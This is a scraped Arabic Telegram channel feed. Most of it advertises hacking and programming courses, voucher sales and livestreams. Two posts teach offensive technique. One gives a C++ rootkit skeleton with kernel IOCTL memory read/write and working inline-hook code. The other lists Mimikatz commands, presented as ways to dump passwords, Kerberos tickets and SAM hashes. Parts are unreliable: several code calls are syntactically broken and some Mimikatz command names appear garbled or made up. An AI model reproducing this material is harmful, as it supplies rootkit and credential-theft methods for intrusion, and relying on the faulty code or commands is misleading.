code arabs | كود عربي

🔥 تعد دورة Bug Bounty Hacker أكاديمية صحيح اختراق الثغرات باللغة العربية . ☄️ فرصة ممتازة للأشخاص الذين يرغبون في تعلم كيفية اكتشاف الثغرات الأمنية وتسليح أنفسهم بالمهارات اللازمة لكسب المال من خلال القيام بذلك. 🚀 خلال الدورة، ستتعلم العديد من الأمور البناءة مثل طرق صيد الثغرات الأمنية، والعثور على نقاط الضعف في تطبيقات الويب بأساليب متقدمة، وكيفية التعرف على نقاط الضعف الشائعة واستغلالها بشكل فعال، بالإضافة إلى اكتشاف المعلومات الحساسة وإرسال التقارير لشركات البق باونتي لتحصيل المال. ⚔️ فلا تدع هذه الفرصة تفوتك، وانضم إلى الدورة الآن لتبدأ رحلتك نحو تطوير مهاراتك الهاكرية بشكل احترافي.

⬅️ شارك هذه الدورة مع أصدقائك وانضم إلى المجلد لرحلة تعليمية متكاملة 🏖

#الامن_السيبراني #اختراق_الثغرات #ثغرات_الويب #اختراق_المواقع

كورس vue.js من المقدم م/عبد الرحمن ❤️‍🔥 ما هي vue.js ؟ 🤔 Vue.js هي إطار عمل لجافا سكريبت تم تطويره لبناء واجهات مستخدم متقدمة وقابلة للتطوير بشكل سريع. لها العديد من المميزات التي تجعلها شائعة ومفضلة بين مطوري الويب. تم حصول علي خصم 50٪ 🔥 السعر الاصلي: 100$ بعد الخصم 50$ 🔥 متطلبات الكورس: إن تكون تعلمت html , css , js المميزات: 1. سهولة الاستخدام والتعلم: Vue.js يوفر تجربة مطور ودية وسهلة الفهم، مما يسمح للمطورين بالبدء بسرعة وفهم الأساسيات بشكل سريع. 2. مرن وخفيف الوزن: Vue.js صغير الحجم ويتكون من عدد قليل من المكونات الأساسية، مما يجعله مناسبًا للاستخدام في تطبيقات الويب الخفيفة والحديثة. 🫡 3. تكامل سلس: يمكن دمج Vue.js بسهولة مع تطبيقات أخرى القائمة على جافا سكريبت، مثل React أو Angular، كما يمكن دمجه مع القوالب HTML التقليدية. 👍 4. إمكانيات المكونات: Vue.js يتيح إنشاء واستخدام المكونات بشكل سهل ومرن، مما يزيد من إعادة استخدام الكود ويسهل صيانته وتطويره. 😏 5. نظام إدارة الحالة: يأتي Vue.js مع أدوات لإدارة الحالة مثل Vuex، مما يسهل إدارة وتنظيم حالة التطبيق بشكل فعال. 💃 للتواصل و معرفه تفاصيل اكثر مع المهندس : @Abdalrahman0x80 ✅ طاب يومكم 🔥

📣 بث مباشر قريبا ..... 👤 المقدم : Eng.Mohamed Ashraf القناة : Technology Makers ✍️ الموضوع : طريقك الصحيح لدخول مجال الـBlue Team 🔍 الموعد : سيتم بدأ البث المباشر علي قناتنا الرسمية في التلجرام بتاريخ 2024/7/8 الساعة 11 ليلا ! يمكنك الوصول الي قنواتنا عن طريق الرابط التالي : [أضغط هنا] ✅

هديه من قناه code arabs 🔥 -خصم 50٪ علي كورسات اكاديميه netriders 😏 -الذي تقدم منهاج elearn security باللغه العربيه و بشكل رائع و المنصه يوجد بها 30+ الف متعلم 🔥 كود الفاوتشر 🔥

Amr_48YiW

بشرط التواصل مع المهندس و التكلم معه و تقول انك تبعي 👍 @Ox_Amr شكرا لكم 💃

باختصار

⭐️ مستودعات الاستغلال و كشف الثغرات العربية DrXploit 🔍⭐️ 👤 الكاتب : Taha Mohamed ⚙️القناة : Technology Makers 📌 رابط الاداة : [ Github ] 📱 رابط المنشور علي انستجرام : [ أضغط هنا ] يمكنك الوصول الي قنواتنا عن طريق الرابط التالي : [أضغط هنا] ✅

🟥 تم فهرسه جميع كورسات لسهولة الرجوع اليها من هنا 😍📝 https://t.me/indexcodearabs

🔹 🔠🔠🔠 | للاعلان علي قناتنا 🟥 للاعلان علي قناتنا توجد عروض مميزه لدينا لفتره محدوده 🔥

لمده يوم بـ 3$ لمده يومين بـ5$ لمده ثلاث ايام بـ7$

🚨 { للطلب } 🚨{ للاستفسار }

🔥 Tryhackme voucher code 😟 1 Month  210 LE 😟 2 Month  420 LE Crypto or Vodafone cash 💵 💲 ✈️ @Mrsud0B 🔥 العرض لفتره محدوده 3 Month 600 LE 🔥 🫡 @Mrsud0B

📣 مقطع جديد : 👤 المقدم : Eng.Abdelrahman 0x80 ✍️ الموضوع : Session 2 PowerShell : PowerShell Vs Bash Shell Vs Cmd 🖥 رابط الفيديو : [ أضغط هنا ] يمكنك الوصول الي قنواتنا عن طريق الرابط التالي : [أضغط هنا] ✅

⭐️ بداية الطريق الي اختبار اختراق المواقع 🔍⭐️ 👤 الكاتب : Taha Mohamed ⚙️القناة : Technology Makers official 📱 رابط المنشور علي انستجرام : [ أضغط هنا ] @TechnologyMakers ✅ @codearabs ✅ @Abdalrahman0x80_channel ✅

📣 مقطع جديد : 👤 المقدم : Eng.Youssef Abdelrazek ✍️ الموضوع : شرح الـString Methods و انواعها في لغة بايثون 2024 | EP. 9 🔍 رابط الفيديو : [ أضغط هنا ] @TechnologyMakers ✅ @codearabs ✅ @Abdalrahman0x80_channel ✅

📣 قريبا ..... 👤 المقدم : Exploit Time ✅ ✍️ الموضوع : Malware Development Podcast ✅ 🥰مطلوب : اكتبو الاسئلة بتاعت بكره الي هتتسأل في البث مع البشمهندس وياريت كلها تكون فقط في مجال المالوير ✏️ 📱 Soon ... .. . 🚫 @TechnologyMakers ✅ @codearabs ✅ @Abdalrahman0x80_channel ✅

📣 مقطع جديد : 👤 المقدم : Abdalrahman0x80 ⚙ ✍️ الموضوع : Linux Bypass this Char "/" 🐧 🌐 القناة : Exploit Time @TechnologyMakers ✅ @codearabs ✅ @Abdalrahman0x80_channel ✅

علشان تعمل Rootkit بيفكك نواة الويندوز بلغة السي 👩‍💻 هنستخدم أسلوب الـOOP ونقسم الكود إلى كلاسز. ركز معايا وهقولك كل حاجة:⏰ 1. كلاس الـ Rootkit:❓ - بيحتوي على الدوال الأساسية اللي هتفكك بيها النواة.📦 - هتحتاج هنا تكتب دالة لتحميل الدرايفر، ودالة تانية للتعامل مع الـIOCTLs.🔐

#include <Windows.h>
#include <iostream>

class Rootkit {
public:
    Rootkit();
    ~Rootkit();
    bool LoadDriver(const char* driverPath);
    bool UnloadDriver();
    bool SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize);

private:
    HANDLE hDevice;
};

Rootkit::Rootkit() {
    // كونستركتور
    hDevice = INVALID_HANDLE_VALUE;
}

Rootkit::~Rootkit() {
    // ديستركتور
    if (hDevice != INVALID_HANDLE_VALUE) {
        CloseHandle(hDevice);
    }
}

bool Rootkit::LoadDriver(const char* driverPath) {
    // هنا بنحمل الدرايفر
    // لازم تكتب كود التحميل الفعلي هنا
    return true;
}

bool Rootkit::UnloadDriver() {
    // هنا بنشيل الدرايفر
    // لازم تكتب كود الإزالة الفعلي هنا
    return true;
}

bool Rootkit::SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize) {
    // هنا بنبعت IOCTL للنواة
    if (hDevice == INVALID_HANDLE_VALUE) {
        return false;
    }
    DWORD bytesReturned;
    return DeviceIoControl(hDevice, controlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, NULL);
}

2. كلاس الـ Hooking:❓ - بيحتوي على الدوال اللي هتعمل hooking للـ SSDT.🤕 - هنحتاج هنا نكتب دوال للـ inline hooks وdetour.‼️

class Hooking {
public:
    Hooking();
    ~Hooking();
    bool SetInlineHook(LPVOID targetFunction, LPVOID hookFunction);
    bool RemoveInlineHook(LPVOID targetFunction);

private:
    BYTE originalBytes[5];
};

Hooking::Hooking() {
    // كونستركتور
}

Hooking::~Hooking() {
    // ديستركتور
}

bool Hooking::SetInlineHook(LPVOID targetFunction, LPVOID hookFunction) {
    // هنا بنعمل inline hook
    DWORD oldProtect;
    VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(originalBytes, targetFunction, 5);
    DWORD relativeAddress = ((DWORD)hookFunction - (DWORD)targetFunction - 5);
    *((BYTE*)targetFunction) = 0xE9;
    *((DWORD*)((BYTE*)targetFunction + 1)) = relativeAddress;
    VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
    return true;
}

bool Hooking::RemoveInlineHook(LPVOID targetFunction) {
    // هنا بنشيل الـ inline hook
    DWORD oldProtect;
    VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(targetFunction, originalBytes, 5);
    VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
    return true;
}

3. كلاس الـ Communication:❓ - بيحتوي على الدوال اللي بتعمل التواصل مع الدرايفر. 🕦 - هنحتاج هنا نكتب دوال للقراءة والكتابة من وإلى النواة.‼️

class Communication {
public:
    Communication();
    ~Communication();
    bool ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size);
    bool WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size);

private:
    Rootkit* rootkit;
};

Communication::Communication() {
    // كونستركتور
    rootkit = new Rootkit();
}

Communication::~Communication() {
    // ديستركتور
    delete rootkit;
}

bool Communication::ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size) {
    // هنا بنقرأ من الذاكرة
    return rootkit->SendControlCode(/*IOCTL_READ_MEMORY*/, &address, sizeof(address), buffer, size);
}

bool Communication::WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size) {
    // هنا بنكتب في الذاكرة
    return rootkit->SendControlCode(/*IOCTL_WRITE_MEMORY*/, &address, sizeof(address), (LPVOID)buffer, size);
}

بهذا الشكل، الكود هيبقى مقسم ومنظم باستخدام الـOOP.🌐 كل كلاس يقوم بوظيفة معينة، وبكده يبقى عندك Rootkit قابل للتوسيع والتطوير بسهولة.🔐 تحياتنا لكم من فريق "Technology Makers"! 🥰 🥰 للوصول لمقالات من هذا النوع يمكنك الضغط علي الهاشتاغ التالي : ➡️ #exploit_development 👑Our Channels : [ Click Here To Join ]

ما هي Mimikatz : ‼️ ميمي كاتز هي أداة متقدمة جدًا للمخترقين حيث تمكنهم من عمل اشياء كثيرة مثل التجسس على الأنظمة و تعميق خطورة الاختراق.🔐 سبب تطويرها : ❓ تم تطوير اداة ميمي كاتز عشان تساعد المحققين الرقميين والباحثين في الأمن السيبراني في استخراج معلومات من الأنظمة. ✅ المطور: 👤 الأداه دي تم تطويرها من قبل باحث أمني فرنسي اسمه بنيامين ديلبي في سنة 2011 و ايضا ميمي كاتز ممكن تستغل ثغرات في أنظمة ويندوز عشان تسحب كلمات المرور والمعلومات الحساسة من ذاكرة النظام .🌐 الأوامر الموجودة في ميمي كاتز و وظائفها هي كالتالي :⚙ الـprivilege::debug بيشغل صلاحيات التصحيح في النظام، وده بيدي الهكر قدرة على التحكم الكامل في النظام.🤬 الـsekurlsa::logonpasswords بيستخرج كلمات المرور المخزنة في النظام، وده معناه إن الهكر يقدر يحصل على كلمات المرور بدون ما يبذل جهد كبير.🔐 الـsekurlsa::tickets بيعرض تذاكر الكيربيروس المخزنة في النظام، ودي بتساعد الهكر في الاستيلاء على الجلسات الحالية واستخدامها للوصول للموارد بدون إعادة المصادقة.📱 الـlsadump::sam بيقوم بتفريغ ملفات SAM اللي بتحتوي على كلمات مرور المستخدمين في النظام، وده بيسمح للهكر بإعادة استخدام كلمات المرور دي في هجمات أخرى.📤 الـlsadump::secrets بيظهر الأسرار المخزنة في النظام، وده بيساعد الهكر في الوصول لمعلومات حساسة.🪄 الـtoken::elevate بيحاول يرفع الصلاحيات في النظام، وده معناه إن الهكر يقدر ياخد صلاحيات أعلى ويسيطر على النظام بالكامل.⚔️ الـvault::cred بيعرض معلومات الاعتمادات المخزنة في خزنة الويندوز، ودي معلومات ممكن تكون حساسة جدًا.😧 الـdpapi::cred بيظهر بيانات DPAPI اللي بتستخدم لحماية البيانات في النظام، وده بيساعد الهكر في فك تشفير البيانات المحمية.🤕 الـcrypto::capi بيعرض مفاتيح CAPI المخزنة في النظام، وده بيساعد الهكر في فك تشفير الاتصالات المشفرة. ✉️ الـcrypto::certificates بيظهر معلومات عن الشهادات المخزنة في النظام، ودي بتساعد الهكر في فهم البنية التحتية للشبكة والتخطيط لهجمات مستقبلية.❗️ الـcrypto::keys بيعرض المفاتيح المخزنة في النظام، وده بيساعد الهكر في فك تشفير البيانات. 🛠 الـmisc::memssp بيظهر بيانات SSP المخزنة في الذاكرة، وده بيساعد الهكر في استغلال الجلسات الحالية. 🧠 الـmisc::sysinfo بيعرض معلومات عن النظام، وده بيساعد الهكر في فهم بيئة العمل والتخطيط للهجوم. 😈 الـmisc::wifi بيظهر ملفات تعريف الواي فاي المخزنة في النظام، وده بيساعد الهكر في الوصول لشبكات الواي فاي المخزنة. 🙈 الـkerberos::list بيعرض قائمة بذاكرة الكيربيروس المخزنة في النظام، وده بيساعد الهكر في استغلال الجلسات الحالية. 🎖 الـkerberos::tgt بيظهر معلومات TGT، ودي بتساعد الهكر في الاستيلاء على الجلسات. ❌ الـkerberos::ptt بيسمح للهكر بتمرير ذاكرة كيربيروس للنظام، وده بيساعد الهكر في الدخول للموارد بدون إعادة المصادقة. ☄️ الـkerberos::kerberos بيعرض تذاكر الكيربيروس المخزنة، وده بيساعد الهكر في الاستيلاء على الجلسات. 💪 الـlivessp::tspkg بيستخرج معلومات TSPKG من LSASS، وده بيساعد الهكر في الحصول على كلمات المرور. 🛡 الـlivessp::msv بيظهر الاعتمادات المخزنة في النظام، وده بيساعد الهكر في الحصول على كلمات المرور. 📀 الـlivessp::credman بيعرض معلومات CredMan المخزنة في النظام، وده بيساعد الهكر في الحصول على كلمات المرور. 👑 الـlivessp::tspkrd بيظهر بيانات TSPKG المخزنة في النظام، وده بيساعد الهكر في الحصول على كلمات المرور. 📀 الـlivessp::wdigest بيظهر بيانات WDigest المخزنة في النظام، وده بيساعد الهكر في الحصول على كلمات المرور. 📀 الـlivessp::kerberos بيظهر بيانات كيربيروس المخزنة في النظام، وده بيساعد الهكر في الاستيلاء على الجلسات. 🔓 الـlivessp::wdigest بيظهر بيانات WDigest المخزنة في النظام، وده بيساعد الهكر في الحصول على كلمات المرور. ⬆️ الـlivessp::cred بيظهر بيانات LSASS المخزنة في النظام، وده بيساعد الهكر في الحصول على كلمات المرور.⬆️ الخاتمة 🥰: ميمي كاتز أداة قوية جدًا وخطيرة في عالم الاختراق استخدام الأداة دي بيد المخترق قدرة هائلة على اختراق الأنظمة والسيطرة عليها بالكامل.🤬 ومن المهم جدًا إنك تتخذ إجراءات أمنية قوية لحماية نظامك من الأدوات دي، زي تحديث النظام باستمرار، وتفعيل خصائص الحماية المتقدمة، وتوعية المستخدمين بالمخاطر الأمنية. 🥰⚙✔️ تحياتنا لكم من فريق "Technology Makers"! 🥰 🥰 للوصول لمقالات من هذا النوع يمكنك الضغط علي الهاشتاغ التالي : ➡️ #exploit_development 👑Our Channels : @TechnologyMakers ✅ @codearabs ✅ @Abdalrahman0x80_channel ✅